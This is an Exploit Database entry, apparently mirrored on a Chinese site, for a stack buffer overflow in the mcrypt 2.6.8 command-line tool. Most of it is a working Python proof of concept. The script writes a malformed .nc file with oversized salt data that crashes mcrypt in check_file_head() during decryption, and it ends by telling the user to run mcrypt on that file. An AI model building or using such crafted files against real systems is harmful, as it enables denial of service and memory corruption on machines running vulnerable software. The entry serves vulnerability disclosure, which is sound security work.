mcrypt 2.6.8 – Stack Buffer Overflow (PoC)

• Exploit Database
• 11 阅读

• 作者： _ishikawa
  日期： 2012-11-26
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/22938/

• #!/usr/bin/env python
  
  # mcrypt <= 2.6.8 stack-based buffer overflow poc
  # http://mcrypt.sourceforge.net/
  # (the command line tool, not the library)
  #
  # date: 2012-09-04
  # exploit author: _ishikawa
  # tested on: ubuntu 12.04.1
  # tech: it overflows in check_file_head() when decrypting .nc files with too long salt data
  #
  # shout-outs to all cryptoparty people
  
  import sys
  
  sprawl = 105
  gibson = "\x00\x6d\x03\x40\x73\x65\x72\x70\x65\x6e\x74\x00\x20\x00\x63\x62"
  gibson += "\x63\x00\x6d\x63\x72\x79\x70\x74\x2d\x73\x68\x61\x31\x00"
  gibson += chr(sprawl)
  gibson += ("A" * sprawl)
  gibson += (chr(0) * 3)
  
  try:
  count0 = open("cyberpunk.nc", "wb")
  count0.write(gibson)
  count0.close()
  except IOError:
  print "file error"
  sys.exit(1)
  
  print "now runmcrypt -d cyberpunk.nc"